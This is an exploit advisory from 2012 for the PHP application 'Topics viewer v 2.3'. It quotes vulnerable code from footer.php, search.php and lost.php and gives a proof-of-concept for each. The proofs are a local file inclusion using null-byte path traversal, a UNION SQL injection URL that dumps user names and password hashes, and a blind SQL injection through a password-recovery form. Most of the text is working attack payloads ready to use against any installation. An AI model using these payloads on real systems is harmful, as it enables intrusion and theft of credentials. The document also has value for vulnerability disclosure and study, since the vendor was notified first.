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# Exploit Title: Topics viewer v 2.3 Multiple Vulnerabilities
# Software Link: http://nilehoster.com/default/topicsviewer

# Author: n4ss1m
# Date: 19-05-2012
# Tested on: win/linux
# Home : www.Sec4ever.com <http://www.sec4ever.com/>


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# Local File Inclusion ( footer.php )

<?php

// footer file //

 echo "<br>";
 @include ("themes/$site_theme/templates/footer_head.html"); # <--
$site_theme without value
 echo "<br>";

...etc...
?>

# PoC :
http://domain.tld/footer.php?site_theme=../robots.txt%00



# Note : register_globals must be ON

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# SQL injection ( search.php )

<?
...
$q = strip_tags (trim(str_replace('"','',$_GET['q']))); # <----
variable $q equal $_GET['q']
...
if(isset ($q) && !empty ($q) && $q != " ")
  {
    $q = strip_tags(trim($_GET['q']));
    $sql_s1 = "SELECT * FROM topics where t_title like '%$q%' OR t_desc
like '%$q%'"; # $q :)
        $res_s1 = @mysql_query($sql_s1);
...
?>

# PoC :
http://domain.tld/search.php?q=junk'+union+select+1,group_concat(u_name,0x3a,u_mpass),3,4,5,6,7,8,9,10,11,12+from+users+where+u_id=1%23&search=true



# magic_quotes_gpc must be OFF

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# Blind SQL injection ( lost.php )

<?
....
if(!empty($_POST[uname]) && !empty($_POST[reg_mail]) &&
!empty($_POST[to_mail]) && strstr($_POST[to_mail],".") &&
strstr($_POST[to_mail],"@")
&& strstr($_POST[reg_mail],".") && strstr ($_POST[reg_mail],"@") ){
    $s_pass = md5($_POST[s_pass]);
  $sql_ver = "SELECT * FROM users where u_name = '$_POST[uname]' AND
u_email = '$_POST[reg_mail]'"; # <-- $_POST[uname] not secure we can
use it to inject mysql query
    $res_ver = @mysql_query ($sql_ver);
    $result_ver = @mysql_numrows($res_ver);
    $user = @mysql_fetch_assoc($res_ver);
....
?>

# PoC :

POST : uname=junk'[SQL
injection]%23®_mail=email@email.tld&to_mail=email2@email.tld&B1=true
http://domain.tld/lost.php



# magic_quotes_gpc must be OFF

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# References         : http://www.exploit4arab.com/exploits/69


# Vendor reported on : 19-05-2012
# published on       : 27-05-2012
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